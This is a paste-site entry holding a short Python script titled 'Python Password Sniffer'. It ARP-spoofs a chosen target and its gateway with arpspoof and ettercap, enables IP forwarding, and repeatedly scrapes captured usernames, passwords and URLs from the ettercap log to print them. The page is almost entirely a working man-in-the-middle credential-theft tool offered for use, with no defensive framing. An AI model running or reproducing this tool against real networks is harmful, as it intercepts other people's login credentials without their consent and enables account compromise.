Python Password Sniffer


SUBMITTED BY: LeetUnicorn

DATE: May 4, 2016, 6:16 a.m.

FORMAT: Python

SIZE: 1.8 kB

HITS: 770

  1. #! /usr/bin/env python
  2. #include <stdio.h>
  3. import subprocess
  4. import socket, struct
  5. import os
  6. import sys
  7. import time
  8. os.system("clear")
  9. def get_gate():
  10. with open("/proc/net/route") as fh:
  11. for line in fh:
  12. fields = line.strip().split()
  13. if fields[1] != '00000000' or not int(fields[3], 16) & 2:
  14. continue
  15. return socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))
  16. gateway = get_gate()
  17. os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
  18. target = raw_input("Enter the target IP: ")
  19. interface = raw_input("Enter the interface you want to run on: ")
  20. subprocess.call("arpspoof -i %s -t %s -r %s &" % (interface, target, gateway), stdout=subprocess.PIPE, shell=True)
  21. subprocess.call("ettercap -T -m etter.txt -i %s -M ARP /%s/ // &" % (interface, target), stdout=subprocess.PIPE, shell=True)
  22. time.sleep(2)
  23. log_file = "etter.txt"
  24. old_time = os.stat(log_file).st_mtime
  25. while True:
  26. username_list = list(subprocess.check_output("cat etter.txt | grep 'USER:' | tail -1 | awk '{print $6}'", shell=True))
  27. password_list = list(subprocess.check_output("cat etter.txt | grep 'PASS:' | tail -1 | awk '{print $8}'", shell=True))
  28. url = subprocess.check_output("cat etter.txt | grep 'INFO:' | tail -1 | awk '{print $10}'", shell=True)
  29. if "+" in username_list:
  30. fix1 = username_list.index('+')
  31. username_list[fix1] = " "
  32. username = "".join(username_list)
  33. if "+" in password_list:
  34. fix2 = password_list.index('+')
  35. password_list[fix2] = " "
  36. password = "".join(password_list)
  37. new_time = os.stat(log_file).st_mtime
  38. if old_time != new_time:
  39. print "\n------------------------\n|New credentials found.|\n------------------------\nUsername: %s\nPassword: %s\nURL: %s\n" % (username, password, url)
  40. old_time = new_time
  41. time.sleep(1)

comments powered by Disqus